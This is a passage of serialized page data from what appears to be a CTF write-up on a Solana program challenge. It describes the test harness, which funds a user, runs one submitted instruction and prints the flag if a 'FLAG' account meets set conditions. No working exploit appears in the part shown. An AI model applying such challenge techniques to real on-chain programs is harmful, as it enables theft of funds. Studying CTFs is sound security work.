538,"children":43539},{"style":204},[43540],{"type":28,"value":15842},{"type":22,"tag":118,"props":43542,"children":43543},{"style":210},[43544],{"type":28,"value":837},{"type":22,"tag":118,"props":43546,"children":43547},{"style":125},[43548],{"type":28,"value":42594},{"type":22,"tag":118,"props":43550,"children":43551},{"style":210},[43552],{"type":28,"value":1190},{"type":22,"tag":118,"props":43554,"children":43555},{"style":125},[43556],{"type":28,"value":42603},{"type":22,"tag":118,"props":43558,"children":43559},{"style":210},[43560],{"type":28,"value":1190},{"type":22,"tag":118,"props":43562,"children":43563},{"style":532},[43564],{"type":28,"value":42612},{"type":22,"tag":118,"props":43566,"children":43567},{"style":210},[43568],{"type":28,"value":1190},{"type":22,"tag":118,"props":43570,"children":43571},{"style":125},[43572],{"type":28,"value":42621},{"type":22,"tag":118,"props":43574,"children":43575},{"style":131},[43576],{"type":28,"value":5439},{"type":22,"tag":118,"props":43578,"children":43579},{"style":125},[43580],{"type":28,"value":19191},{"type":22,"tag":118,"props":43582,"children":43583},{"style":674},[43584],{"type":28,"value":6090},{"type":22,"tag":118,"props":43586,"children":43587},{"style":125},[43588],{"type":28,"value":25011},{"type":22,"tag":118,"props":43590,"children":43591},{"style":146},[43592],{"type":28,"value":2603},{"type":22,"tag":118,"props":43594,"children":43595},{"style":125},[43596],{"type":28,"value":540},{"type":22,"tag":118,"props":43598,"children":43599},{"style":131},[43600],{"type":28,"value":10046},{"type":22,"tag":118,"props":43602,"children":43603},{"style":125},[43604],{"type":28,"value":43302},{"type":22,"tag":118,"props":43606,"children":43607},{"style":204},[43608],{"type":28,"value":5715},{"type":22,"tag":118,"props":43610,"children":43611},{"style":125},[43612],{"type":28,"value":5746},{"type":22,"tag":118,"props":43614,"children":43615},{"style":210},[43616],{"type":28,"value":5079},{"type":22,"tag":118,"props":43618,"children":43619},{"style":674},[43620],{"type":28,"value":6090},{"type":22,"tag":118,"props":43622,"children":43623},{"style":125},[43624],{"type":28,"value":17386},{"type":22,"tag":118,"props":43626,"children":43627},{"style":210},[43628],{"type":28,"value":292},{"type":22,"tag":118,"props":43630,"children":43631},{"style":532},[43632],{"type":28,"value":28104},{"type":22,"tag":118,"props":43634,"children":43635},{"style":125},[43636],{"type":28,"value":1200},{"type":22,"tag":118,"props":43638,"children":43639},{"style":210},[43640],{"type":28,"value":292},{"type":22,"tag":118,"props":43642,"children":43643},{"style":532},[43644],{"type":28,"value":5679},{"type":22,"tag":118,"props":43646,"children":43647},{"style":125},[43648],{"type":28,"value":17399},{"type":22,"tag":118,"props":43650,"children":43651},{"class":120,"line":368},[43652,43656,43660,43664,43668,43672,43676,43680,43684,43688,43692,43696,43700,43704,43708,43712,43716,43720,43724,43728,43732,43736,43740,43744,43748,43752,43756,43760],{"type":22,"tag":118,"props":43653,"children":43654},{"style":146},[43655],{"type":28,"value":827},{"type":22,"tag":118,"props":43657,"children":43658},{"style":204},[43659],{"type":28,"value":42709},{"type":22,"tag":118,"props":43661,"children":43662},{"style":210},[43663],{"type":28,"value":837},{"type":22,"tag":118,"props":43665,"children":43666},{"style":125},[43667],{"type":28,"value":42594},{"type":22,"tag":118,"props":43669,"children":43670},{"style":210},[43671],{"type":28,"value":1190},{"type":22,"tag":118,"props":43673,"children":43674},{"style":125},[43675],{"type":28,"value":42603},{"type":22,"tag":118,"props":43677,"children":43678},{"style":210},[43679],{"type":28,"value":1190},{"type":22,"tag":118,"props":43681,"children":43682},{"style":532},[43683],{"type":28,"value":42612},{"type":22,"tag":118,"props":43685,"children":43686},{"style":210},[43687],{"type":28,"value":1190},{"type":22,"tag":118,"props":43689,"children":43690},{"style":125},[43691],{"type":28,"value":42621},{"type":22,"tag":118,"props":43693,"children":43694},{"style":131},[43695],{"type":28,"value":5439},{"type":22,"tag":118,"props":43697,"children":43698},{"style":125},[43699],{"type":28,"value":19191},{"type":22,"tag":118,"props":43701,"children":43702},{"style":674},[43703],{"type":28,"value":6090},{"type":22,"tag":118,"props":43705,"children":43706},{"style":125},[43707],{"type":28,"value":25011},{"type":22,"tag":118,"props":43709,"children":43710},{"style":131},[43711],{"type":28,"value":10046},{"type":22,"tag":118,"props":43713,"children":43714},{"style":125},[43715],{"type":28,"value":9617},{"type":22,"tag":118,"props":43717,"children":43718},{"style":204},[43719],{"type":28,"value":5715},{"type":22,"tag":118,"props":43721,"children":43722},{"style":125},[43723],{"type":28,"value":5746},{"type":22,"tag":118,"props":43725,"children":43726},{"style":674},[43727],{"type":28,"value":6090},{"type":22,"tag":118,"props":43729,"children":43730},{"style":210},[43731],{"type":28,"value":5079},{"type":22,"tag":118,"props":43733,"children":43734},{"style":674},[43735],{"type":28,"value":42786},{"type":22,"tag":118,"props":43737,"children":43738},{"style":125},[43739],{"type":28,"value":17386},{"type":22,"tag":118,"props":43741,"children":43742},{"style":210},[43743],{"type":28,"value":292},{"type":22,"tag":118,"props":43745,"children":43746},{"style":532},[43747],{"type":28,"value":28104},{"type":22,"tag":118,"props":43749,"children":43750},{"style":125},[43751],{"type":28,"value":1200},{"type":22,"tag":118,"props":43753,"children":43754},{"style":210},[43755],{"type":28,"value":292},{"type":22,"tag":118,"props":43757,"children":43758},{"style":532},[43759],{"type":28,"value":5679},{"type":22,"tag":118,"props":43761,"children":43762},{"style":125},[43763],{"type":28,"value":17399},{"type":22,"tag":118,"props":43765,"children":43766},{"class":120,"line":384},[43767,43771,43775,43779],{"type":22,"tag":118,"props":43768,"children":43769},{"style":532},[43770],{"type":28,"value":42822},{"type":22,"tag":118,"props":43772,"children":43773},{"style":125},[43774],{"type":28,"value":540},{"type":22,"tag":118,"props":43776,"children":43777},{"style":204},[43778],{"type":28,"value":14628},{"type":22,"tag":118,"props":43780,"children":43781},{"style":125},[43782],{"type":28,"value":682},{"type":22,"tag":118,"props":43784,"children":43785},{"class":120,"line":417},[43786],{"type":22,"tag":118,"props":43787,"children":43788},{"style":125},[43789],{"type":28,"value":1254},{"type":22,"tag":118,"props":43791,"children":43792},{"class":120,"line":425},[43793],{"type":22,"tag":118,"props":43794,"children":43795},{"style":125},[43796],{"type":28,"value":481},{"type":22,"tag":1289,"props":43798,"children":43800},{"id":43799},"test-environment",[43801],{"type":28,"value":43802},"Test Environment",{"type":22,"tag":31,"props":43804,"children":43805},{},[43806],{"type":28,"value":43807},"To understand our capabilites regarding interaction with the program and determine what is necessary to get the flag, we must analyze the test environment.",{"type":22,"tag":31,"props":43809,"children":43810},{},[43811,43813,43819],{"type":28,"value":43812},"When you connect to the server through a tcp connection, ",{"type":22,"tag":114,"props":43814,"children":43816},{"className":43815},[],[43817],{"type":28,"value":43818},"framework/src/main.rs::handle_connection",{"type":28,"value":43820}," gets executed, which does the following:",{"type":22,"tag":4029,"props":43822,"children":43823},{},[43824],{"type":22,"tag":68,"props":43825,"children":43826},{},[43827],{"type":28,"value":43828},"Creates a new Solana local node",{"type":22,"tag":107,"props":43830,"children":43832},{"className":109,"code":43831,"language":111,"meta":7,"style":7},"let mut builder = ChallengeBuilder::try_from(socket.try_clone().unwrap()).unwrap();\nassert!(builder.add_program(\"/path/to/chall.so\", Some(chall::ID)) == chall::ID);\nlet mut chall = builder.build().await;\n",[43833],{"type":22,"tag":114,"props":43834,"children":43835},{"__ignoreMap":7},[43836,43917,43993],{"type":22,"tag":118,"props":43837,"children":43838},{"class":120,"line":121},[43839,43843,43847,43852,43856,43861,43865,43870,43874,43879,43883,43888,43892,43896,43900,43905,43909,43913],{"type":22,"tag":118,"props":43840,"children":43841},{"style":146},[43842],{"type":28,"value":3149},{"type":22,"tag":118,"props":43844,"children":43845},{"style":146},[43846],{"type":28,"value":4157},{"type":22,"tag":118,"props":43848,"children":43849},{"style":204},[43850],{"type":28,"value":43851}," builder",{"type":22,"tag":118,"props":43853,"children":43854},{"style":210},[43855],{"type":28,"value":837},{"type":22,"tag":118,"props":43857,"children":43858},{"style":131},[43859],{"type":28,"value":43860}," ChallengeBuilder",{"type":22,"tag":118,"props":43862,"children":43863},{"style":210},[43864],{"type":28,"value":1190},{"type":22,"tag":118,"props":43866,"children":43867},{"style":532},[43868],{"type":28,"value":43869},"try_from",{"type":22,"tag":118,"props":43871,"children":43872},{"style":125},[43873],{"type":28,"value":540},{"type":22,"tag":118,"props":43875,"children":43876},{"style":204},[43877],{"type":28,"value":43878},"socket",{"type":22,"tag":118,"props":43880,"children":43881},{"style":210},[43882],{"type":28,"value":292},{"type":22,"tag":118,"props":43884,"children":43885},{"style":532},[43886],{"type":28,"value":43887},"try_clone",{"type":22,"tag":118,"props":43889,"children":43890},{"style":125},[43891],{"type":28,"value":1200},{"type":22,"tag":118,"props":43893,"children":43894},{"style":210},[43895],{"type":28,"value":292},{"type":22,"tag":118,"props":43897,"children":43898},{"style":532},[43899],{"type":28,"value":5679},{"type":22,"tag":118,"props":43901,"children":43902},{"style":125},[43903],{"type":28,"value":43904},"())",{"type":22,"tag":118,"props":43906,"children":43907},{"style":210},[43908],{"type":28,"value":292},{"type":22,"tag":118,"props":43910,"children":43911},{"style":532},[43912],{"type":28,"value":5679},{"type":22,"tag":118,"props":43914,"children":43915},{"style":125},[43916],{"type":28,"value":1098},{"type":22,"tag":118,"props":43918,"children":43919},{"class":120,"line":142},[43920,43925,43929,43934,43938,43943,43947,43952,43956,43961,43966,43970,43975,43979,43984,43988],{"type":22,"tag":118,"props":43921,"children":43922},{"style":532},[43923],{"type":28,"value":43924},"assert!",{"type":22,"tag":118,"props":43926,"children":43927},{"style":125},[43928],{"type":28,"value":540},{"type":22,"tag":118,"props":43930,"children":43931},{"style":204},[43932],{"type":28,"value":43933},"builder",{"type":22,"tag":118,"props":43935,"children":43936},{"style":210},[43937],{"type":28,"value":292},{"type":22,"tag":118,"props":43939,"children":43940},{"style":532},[43941],{"type":28,"value":43942},"add_program",{"type":22,"tag":118,"props":43944,"children":43945},{"style":125},[43946],{"type":28,"value":540},{"type":22,"tag":118,"props":43948,"children":43949},{"style":1866},[43950],{"type":28,"value":43951},"\"/path/to/chall.so\"",{"type":22,"tag":118,"props":43953,"children":43954},{"style":125},[43955],{"type":28,"value":231},{"type":22,"tag":118,"props":43957,"children":43958},{"style":131},[43959],{"type":28,"value":43960},"Some",{"type":22,"tag":118,"props":43962,"children":43963},{"style":125},[43964],{"type":28,"value":43965},"(chall",{"type":22,"tag":118,"props":43967,"children":43968},{"style":210},[43969],{"type":28,"value":1190},{"type":22,"tag":118,"props":43971,"children":43972},{"style":125},[43973],{"type":28,"value":43974},"ID)) ",{"type":22,"tag":118,"props":43976,"children":43977},{"style":210},[43978],{"type":28,"value":302},{"type":22,"tag":118,"props":43980,"children":43981},{"style":125},[43982],{"type":28,"value":43983}," chall",{"type":22,"tag":118,"props":43985,"children":43986},{"style":210},[43987],{"type":28,"value":1190},{"type":22,"tag":118,"props":43989,"children":43990},{"style":125},[43991],{"type":28,"value":43992},"ID);\n",{"type":22,"tag":118,"props":43994,"children":43995},{"class":120,"line":177},[43996,44000,44004,44008,44012,44016,44020,44025,44029,44033,44037],{"type":22,"tag":118,"props":43997,"children":43998},{"style":146},[43999],{"type":28,"value":3149},{"type":22,"tag":118,"props":44001,"children":44002},{"style":146},[44003],{"type":28,"value":4157},{"type":22,"tag":118,"props":44005,"children":44006},{"style":204},[44007],{"type":28,"value":43983},{"type":22,"tag":118,"props":44009,"children":44010},{"style":210},[44011],{"type":28,"value":837},{"type":22,"tag":118,"props":44013,"children":44014},{"style":204},[44015],{"type":28,"value":43851},{"type":22,"tag":118,"props":44017,"children":44018},{"style":210},[44019],{"type":28,"value":292},{"type":22,"tag":118,"props":44021,"children":44022},{"style":532},[44023],{"type":28,"value":44024},"build",{"type":22,"tag":118,"props":44026,"children":44027},{"style":125},[44028],{"type":28,"value":1200},{"type":22,"tag":118,"props":44030,"children":44031},{"style":210},[44032],{"type":28,"value":292},{"type":22,"tag":118,"props":44034,"children":44035},{"style":1480},[44036],{"type":28,"value":34855},{"type":22,"tag":118,"props":44038,"children":44039},{"style":125},[44040],{"type":28,"value":801},{"type":22,"tag":4029,"props":44042,"children":44043},{"start":142},[44044],{"type":22,"tag":68,"props":44045,"children":44046},{},[44047],{"type":28,"value":44048},"Funds the user account with 100 SOL",{"type":22,"tag":107,"props":44050,"children":44052},{"className":109,"code":44051,"language":111,"meta":7,"style":7},"let user_keypair = Keypair::new();\nlet user = user_keypair.pubkey();\n\nlet payer_keypair = &chall.ctx.payer;\nlet payer = payer_keypair.pubkey();\n\nchall\n    .run_ix(system_instruction::transfer(&payer, &user, 100_000_000_000))\n    .await?;\n\nwriteln!(socket, \"user: {}\", user)?;\n",[44053],{"type":22,"tag":114,"props":44054,"children":44055},{"__ignoreMap":7},[44056,44089,44121,44128,44170,44201,44208,44216,44280,44299,44306],{"type":22,"tag":118,"props":44057,"children":44058},{"class":120,"line":121},[44059,44063,44068,44072,44077,44081,44085],{"type":22,"tag":118,"props":44060,"children":44061},{"style":146},[44062],{"type":28,"value":3149},{"type":22,"tag":118,"props":44064,"children":44065},{"style":204},[44066],{"type":28,"value":44067}," user_keypair",{"type":22,"tag":118,"props":44069,"children":44070},{"style":210},[44071],{"type":28,"value":837},{"type":22,"tag":118,"props":44073,"children":44074},{"style":131},[44075],{"type":28,"value":44076}," Keypair",{"type":22,"tag":118,"props":44078,"children":44079},{"style":210},[44080],{"type":28,"value":1190},{"type":22,"tag":118,"props":44082,"children":44083},{"style":532},[44084],{"type":28,"value":4256},{"type":22,"tag":118,"props":44086,"children":44087},{"style":125},[44088],{"type":28,"value":1098},{"type":22,"tag":118,"props":44090,"children":44091},{"class":120,"line":142},[44092,44096,44101,44105,44109,44113,44117],{"type":22,"tag":118,"props":44093,"children":44094},{"style":146},[44095],{"type":28,"value":3149},{"type":22,"tag":118,"props":44097,"children":44098},{"style":204},[44099],{"type":28,"value":44100}," user",{"type":22,"tag":118,"props":44102,"children":44103},{"style":210},[44104],{"type":28,"value":837},{"type":22,"tag":118,"props":44106,"children":44107},{"style":204},[44108],{"type":28,"value":44067},{"type":22,"tag":118,"props":44110,"children":44111},{"style":210},[44112],{"type":28,"value":292},{"type":22,"tag":118,"props":44114,"children":44115},{"style":532},[44116],{"type":28,"value":5558},{"type":22,"tag":118,"props":44118,"children":44119},{"style":125},[44120],{"type":28,"value":1098},{"type":22,"tag":118,"props":44122,"children":44123},{"class":120,"line":177},[44124],{"type":22,"tag":118,"props":44125,"children":44126},{"emptyLinePlaceholder":15},[44127],{"type":28,"value":250},{"type":22,"tag":118,"props":44129,"children":44130},{"class":120,"line":195},[44131,44135,44140,44144,44148,44153,44157,44161,44165],{"type":22,"tag":118,"props":44132,"children":44133},{"style":146},[44134],{"type":28,"value":3149},{"type":22,"tag":118,"props":44136,"children":44137},{"style":204},[44138],{"type":28,"value":44139}," payer_keypair",{"type":22,"tag":118,"props":44141,"children":44142},{"style":210},[44143],{"type":28,"value":837},{"type":22,"tag":118,"props":44145,"children":44146},{"style":210},[44147],{"type":28,"value":1430},{"type":22,"tag":118,"props":44149,"children":44150},{"style":204},[44151],{"type":28,"value":44152},"chall",{"type":22,"tag":118,"props":44154,"children":44155},{"style":210},[44156],{"type":28,"value":292},{"type":22,"tag":118,"props":44158,"children":44159},{"style":125},[44160],{"type":28,"value":545},{"type":22,"tag":118,"props":44162,"children":44163},{"style":210},[44164],{"type":28,"value":292},{"type":22,"tag":118,"props":44166,"children":44167},{"style":125},[44168],{"type":28,"value":44169},"payer;\n",{"type":22,"tag":118,"props":44171,"children":44172},{"class":120,"line":244},[44173,44177,44181,44185,44189,44193,44197],{"type":22,"tag":118,"props":44174,"children":44175},{"style":146},[44176],{"type":28,"value":3149},{"type":22,"tag":118,"props":44178,"children":44179},{"style":204},[44180],{"type":28,"value":451},{"type":22,"tag":118,"props":44182,"children":44183},{"style":210},[44184],{"type":28,"value":837},{"type":22,"tag":118,"props":44186,"children":44187},{"style":204},[44188],{"type":28,"value":44139},{"type":22,"tag":118,"props":44190,"children":44191},{"style":210},[44192],{"type":28,"value":292},{"type":22,"tag":118,"props":44194,"children":44195},{"style":532},[44196],{"type":28,"value":5558},{"type":22,"tag":118,"props":44198,"children":44199},{"style":125},[44200],{"type":28,"value":1098},{"type":22,"tag":118,"props":44202,"children":44203},{"class":120,"line":253},[44204],{"type":22,"tag":118,"props":44205,"children":44206},{"emptyLinePlaceholder":15},[44207],{"type":28,"value":250},{"type":22,"tag":118,"props":44209,"children":44210},{"class":120,"line":263},[44211],{"type":22,"tag":118,"props":44212,"children":44213},{"style":204},[44214],{"type":28,"value":44215},"chall\n",{"type":22,"tag":118,"props":44217,"children":44218},{"class":120,"line":318},[44219,44224,44229,44234,44238,44242,44246,44250,44255,44259,44263,44267,44271,44276],{"type":22,"tag":118,"props":44220,"children":44221},{"style":210},[44222],{"type":28,"value":44223},"    .",{"type":22,"tag":118,"props":44225,"children":44226},{"style":532},[44227],{"type":28,"value":44228},"run_ix",{"type":22,"tag":118,"props":44230,"children":44231},{"style":125},[44232],{"type":28,"value":44233},"(system_instruction",{"type":22,"tag":118,"props":44235,"children":44236},{"style":210},[44237],{"type":28,"value":1190},{"type":22,"tag":118,"props":44239,"children":44240},{"style":532},[44241],{"type":28,"value":34061},{"type":22,"tag":118,"props":44243,"children":44244},{"style":125},[44245],{"type":28,"value":540},{"type":22,"tag":118,"props":44247,"children":44248},{"style":210},[44249],{"type":28,"value":1407},{"type":22,"tag":118,"props":44251,"children":44252},{"style":204},[44253],{"type":28,"value":44254},"payer",{"type":22,"tag":118,"props":44256,"children":44257},{"style":125},[44258],{"type":28,"value":231},{"type":22,"tag":118,"props":44260,"children":44261},{"style":210},[44262],{"type":28,"value":1407},{"type":22,"tag":118,"props":44264,"children":44265},{"style":204},[44266],{"type":28,"value":22200},{"type":22,"tag":118,"props":44268,"children":44269},{"style":125},[44270],{"type":28,"value":231},{"type":22,"tag":118,"props":44272,"children":44273},{"style":674},[44274],{"type":28,"value":44275},"100_000_000_000",{"type":22,"tag":118,"props":44277,"children":44278},{"style":125},[44279],{"type":28,"value":3334},{"type":22,"tag":118,"props":44281,"children":44282},{"class":120,"line":351},[44283,44287,44291,44295],{"type":22,"tag":118,"props":44284,"children":44285},{"style":210},[44286],{"type":28,"value":44223},{"type":22,"tag":118,"props":44288,"children":44289},{"style":1480},[44290],{"type":28,"value":34855},{"type":22,"tag":118,"props":44292,"children":44293},{"style":210},[44294],{"type":28,"value":796},{"type":22,"tag":118,"props":44296,"children":44297},{"style":125},[44298],{"type":28,"value":801},{"type":22,"tag":118,"props":44300,"children":44301},{"class":120,"line":359},[44302],{"type":22,"tag":118,"props":44303,"children":44304},{"emptyLinePlaceholder":15},[44305],{"type":28,"value":250},{"type":22,"tag":118,"props":44307,"children":44308},{"class":120,"line":368},[44309,44314,44318,44322,44326,44331,44335,44339,44343,44347],{"type":22,"tag":118,"props":44310,"children":44311},{"style":532},[44312],{"type":28,"value":44313},"writeln!",{"type":22,"tag":118,"props":44315,"children":44316},{"style":125},[44317],{"type":28,"value":540},{"type":22,"tag":118,"props":44319,"children":44320},{"style":204},[44321],{"type":28,"value":43878},{"type":22,"tag":118,"props":44323,"children":44324},{"style":125},[44325],{"type":28,"value":231},{"type":22,"tag":118,"props":44327,"children":44328},{"style":1866},[44329],{"type":28,"value":44330},"\"user: {}\"",{"type":22,"tag":118,"props":44332,"children":44333},{"style":125},[44334],{"type":28,"value":231},{"type":22,"tag":118,"props":44336,"children":44337},{"style":204},[44338],{"type":28,"value":22200},{"type":22,"tag":118,"props":44340,"children":44341},{"style":125},[44342],{"type":28,"value":3627},{"type":22,"tag":118,"props":44344,"children":44345},{"style":210},[44346],{"type":28,"value":796},{"type":22,"tag":118,"props":44348,"children":44349},{"style":125},[44350],{"type":28,"value":801},{"type":22,"tag":4029,"props":44352,"children":44353},{"start":177},[44354],{"type":22,"tag":68,"props":44355,"children":44356},{},[44357],{"type":28,"value":44358},"Reads an instruction from the tcp stream and executes it",{"type":22,"tag":107,"props":44360,"children":44362},{"className":109,"code":44361,"language":111,"meta":7,"style":7},"let solve_ix = chall.read_instruction(chall::ID)?;\nchall.run_ixs_full(&[solve_ix], &[&user_keypair], &user).await?;\n",[44363],{"type":22,"tag":114,"props":44364,"children":44365},{"__ignoreMap":7},[44366,44416],{"type":22,"tag":118,"props":44367,"children":44368},{"class":120,"line":121},[44369,44373,44378,44382,44386,44390,44395,44399,44403,44408,44412],{"type":22,"tag":118,"props":44370,"children":44371},{"style":146},[44372],{"type":28,"value":3149},{"type":22,"tag":118,"props":44374,"children":44375},{"style":204},[44376],{"type":28,"value":44377}," solve_ix",{"type":22,"tag":118,"props":44379,"children":44380},{"style":210},[44381],{"type":28,"value":837},{"type":22,"tag":118,"props":44383,"children":44384},{"style":204},[44385],{"type":28,"value":43983},{"type":22,"tag":118,"props":44387,"children":44388},{"style":210},[44389],{"type":28,"value":292},{"type":22,"tag":118,"props":44391,"children":44392},{"style":532},[44393],{"type":28,"value":44394},"read_instruction",{"type":22,"tag":118,"props":44396,"children":44397},{"style":125},[44398],{"type":28,"value":43965},{"type":22,"tag":118,"props":44400,"children":44401},{"style":210},[44402],{"type":28,"value":1190},{"type":22,"tag":118,"props":44404,"children":44405},{"style":125},[44406],{"type":28,"value":44407},"ID)",{"type":22,"tag":118,"props":44409,"children":44410},{"style":210},[44411],{"type":28,"value":796},{"type":22,"tag":118,"props":44413,"children":44414},{"style":125},[44415],{"type":28,"value":801},{"type":22,"tag":118,"props":44417,"children":44418},{"class":120,"line":142},[44419,44423,44427,44432,44436,44440,44444,44449,44453,44457,44461,44465,44470,44474,44478,44482,44486,44490,44494,44498],{"type":22,"tag":118,"props":44420,"children":44421},{"style":204},[44422],{"type":28,"value":44152},{"type":22,"tag":118,"props":44424,"children":44425},{"style":210},[44426],{"type":28,"value":292},{"type":22,"tag":118,"props":44428,"children":44429},{"style":532},[44430],{"type":28,"value":44431},"run_ixs_full",{"type":22,"tag":118,"props":44433,"children":44434},{"style":125},[44435],{"type":28,"value":540},{"type":22,"tag":118,"props":44437,"children":44438},{"style":210},[44439],{"type":28,"value":1407},{"type":22,"tag":118,"props":44441,"children":44442},{"style":125},[44443],{"type":28,"value":5746},{"type":22,"tag":118,"props":44445,"children":44446},{"style":204},[44447],{"type":28,"value":44448},"solve_ix",{"type":22,"tag":118,"props":44450,"children":44451},{"style":125},[44452],{"type":28,"value":25011},{"type":22,"tag":118,"props":44454,"children":44455},{"style":210},[44456],{"type":28,"value":1407},{"type":22,"tag":118,"props":44458,"children":44459},{"style":125},[44460],{"type":28,"value":5746},{"type":22,"tag":118,"props":44462,"children":44463},{"style":210},[44464],{"type":28,"value":1407},{"type":22,"tag":118,"props":44466,"children":44467},{"style":204},[44468],{"type":28,"value":44469},"user_keypair",{"type":22,"tag":118,"props":44471,"children":44472},{"style":125},[44473],{"type":28,"value":25011},{"type":22,"tag":118,"props":44475,"children":44476},{"style":210},[44477],{"type":28,"value":1407},{"type":22,"tag":118,"props":44479,"children":44480},{"style":204},[44481],{"type":28,"value":22200},{"type":22,"tag":118,"props":44483,"children":44484},{"style":125},[44485],{"type":28,"value":3627},{"type":22,"tag":118,"props":44487,"children":44488},{"style":210},[44489],{"type":28,"value":292},{"type":22,"tag":118,"props":44491,"children":44492},{"style":1480},[44493],{"type":28,"value":34855},{"type":22,"tag":118,"props":44495,"children":44496},{"style":210},[44497],{"type":28,"value":796},{"type":22,"tag":118,"props":44499,"children":44500},{"style":125},[44501],{"type":28,"value":801},{"type":22,"tag":4029,"props":44503,"children":44504},{"start":195},[44505],{"type":22,"tag":68,"props":44506,"children":44507},{},[44508],{"type":28,"value":44509},"Checks that the account at PDA(\"FLAG\") exists, has a data length of 0x1337 and the first 8 bytes are equal to 0x4337. If so, it prints the flag.",{"type":22,"tag":107,"props":44511,"children":44513},{"className":109,"code":44512,"language":111,"meta":7,"style":7},"let flag = Pubkey::create_program_address(&[\"FLAG\".as_ref()], &chall::ID)?;\nif let Some(acct) = chall.ctx.banks_client.get_account(flag).await? {\n    if acct.data.len() == 0x1337\n        && u64::from_le_bytes(acct.data[..8].try_into().unwrap()) == 0x4337\n    {\n        writeln!(socket, \"congrats!\")?;\n        if let Ok(flag) = env::var(\"FLAG\") {\n            writeln!(socket, \"flag: {:?}\", flag)?;\n        } else {\n            writeln!(socket, \"flag not found, please contact admin\")?;\n        }\n    }\n}\n",[44514],{"type":22,"tag":114,"props":44515,"children":44516},{"__ignoreMap":7},[44517,44601,44692,44733,44816,44823,44860,44916,44961,44976,45012,45019,45026],{"type":22,"tag":118,"props":44518,"children":44519},{"class":120,"line":121},[44520,44524,44529,44533,44537,44541,44546,44550,44554,44558,44563,44567,44572,44577,44581,44585,44589,44593,44597],{"type":22,"tag":118,"props":44521,"children":44522},{"style":146},[44523],{"type":28,"value":3149},{"type":22,"tag":118,"props":44525,"children":44526},{"style":204},[44527],{"type":28,"value":44528}," flag",{"type":22,"tag":118,"props":44530,"children":44531},{"style":210},[44532],{"type":28,"value":837},{"type":22,"tag":118,"props":44534,"children":44535},{"style":131},[44536],{"type":28,"value":2806},{"type":22,"tag":118,"props":44538,"children":44539},{"style":210},[44540],{"type":28,"value":1190},{"type":22,"tag":118,"props":44542,"children":44543},{"style":532},[44544],{"type":28,"value":44545},"create_program_address",{"type":22,"tag":118,"props":44547,"children":44548},{"style":125},[44549],{"type":28,"value":540},{"type":22,"tag":118,"props":44551,"children":44552},{"style":210},[44553],{"type":28,"value":1407},{"type":22,"tag":118,"props":44555,"children":44556},{"style":125},[44557],{"type":28,"value":5746},{"type":22,"tag":118,"props":44559,"children":44560},{"style":1866},[44561],{"type":28,"value":44562},"\"FLAG\"",{"type":22,"tag":118,"props":44564,"children":44565},{"style":210},[44566],{"type":28,"value":292},{"type":22,"tag":118,"props":44568,"children":44569},{"style":532},[44570],{"type":28,"value":44571},"as_ref",{"type":22,"tag":118,"props":44573,"children":44574},{"style":125},[44575],{"type":28,"value":44576},"()], ",{"type":22,"tag":118,"props":44578,"children":44579},{"style":210},[44580],{"type":28,"value":1407},{"type":22,"tag":118,"props":44582,"children":44583},{"style":125},[44584],{"type":28,"value":44152},{"type":22,"tag":118,"props":44586,"children":44587},{"style":210},[44588],{"type":28,"value":1190},{"type":22,"tag":118,"props":44590,"children":44591},{"style":125},[44592],{"type":28,"value":44407},{"type":22,"tag":118,"props":44594,"children":44595},{"style":210},[44596],{"type":28,"value":796},{"type":22,"tag":118,"props":44598,"children":44599},{"style":125},[44600],{"type":28,"value":801},{"type":22,"tag":118,"props":44602,"children":44603},{"class":120,"line":142},[44604,44608,44612,44616,44620,44625,44629,44633,44637,44641,44645,44649,44654,44658,44663,44667,44672,44676,44680,44684,44688],{"type":22,"tag":118,"props":44605,"children":44606},{"style":1480},[44607],{"type":28,"value":17553},{"type":22,"tag":118,"props":44609,"children":44610},{"style":146},[44611],{"type":28,"value":29246},{"type":22,"tag":118,"props":44613,"children":44614},{"style":131},[44615],{"type":28,"value":29251},{"type":22,"tag":118,"props":44617,"children":44618},{"style":125},[44619],{"type":28,"value":540},{"type":22,"tag":118,"props":44621,"children":44622},{"style":204},[44623],{"type":28,"value":44624},"acct",{"type":22,"tag":118,"props":44626,"children":44627},{"style":125},[44628],{"type":28,"value":588},{"type":22,"tag":118,"props":44630,"children":44631},{"style":210},[44632],{"type":28,"value":282},{"type":22,"tag":118,"props":44634,"children":44635},{"style":204},[44636],{"type":28,"value":43983},{"type":22,"tag":118,"props":44638,"children":44639},{"style":210},[44640],{"type":28,"value":292},{"type":22,"tag":118,"props":44642,"children":44643},{"style":125},[44644],{"type":28,"value":545},{"type":22,"tag":118,"props":44646,"children":44647},{"style":210},[44648],{"type":28,"value":292},{"type":22,"tag":118,"props":44650,"children":44651},{"style":125},[44652],{"type":28,"value":44653},"banks_client",{"type":22,"tag":118,"props":44655,"children":44656},{"style":210},[44657],{"type":28,"value":292},{"type":22,"tag":118,"props":44659,"children":44660},{"style":532},[44661],{"type":28,"value":44662},"get_account",{"type":22,"tag":118,"props":44664,"children":44665},{"style":125},[44666],{"type":28,"value":540},{"type":22,"tag":118,"props":44668,"children":44669},{"style":204},[44670],{"type":28,"value":44671},"flag",{"type":22,"tag":118,"props":44673,"children":44674},{"style":125},[44675],{"type":28,"value":3627},{"type":22,"tag":118,"props":44677,"children":44678},{"style":210},[44679],{"type":28,"value":292},{"type":22,"tag":118,"props":44681,"children":44682},{"style":1480},[44683],{"type":28,"value":34855},{"type":22,"tag":118,"props":44685,"children":44686},{"style":210},[44687],{"type":28,"value":796},{"type":22,"tag":118,"props":44689,"children":44690},{"style":125},[44691],{"type":28,"value":1474},{"type":22,"tag":118,"props":44693,"children":44694},{"class":120,"line":177},[44695,44699,44704,44708,44712,44716,44720,44724,44728],{"type":22,"tag":118,"props":44696,"children":44697},{"style":1480},[44698],{"type":28,"value":2159},{"type":22,"tag":118,"props":44700,"children":44701},{"style":204},[44702],{"type":28,"value":44703}," acct",{"type":22,"tag":118,"props":44705,"children":44706},{"style":210},[44707],{"type":28,"value":292},{"type":22,"tag":118,"props":44709,"children":44710},{"style":125},[44711],{"type":28,"value":5715},{"type":22,"tag":118,"props":44713,"children":44714},{"style":210},[44715],{"type":28,"value":292},{"type":22,"tag":118,"props":44717,"children":44718},{"style":532},[44719],{"type":28,"value":11137},{"type":22,"tag":118,"props":44721,"children":44722},{"style":125},[44723],{"type":28,"value":2182},{"type":22,"tag":118,"props":44725,"children":44726},{"style":210},[44727],{"type":28,"value":302},{"type":22,"tag":118,"props":44729,"children":44730},{"style":674},[44731],{"type":28,"value":44732}," 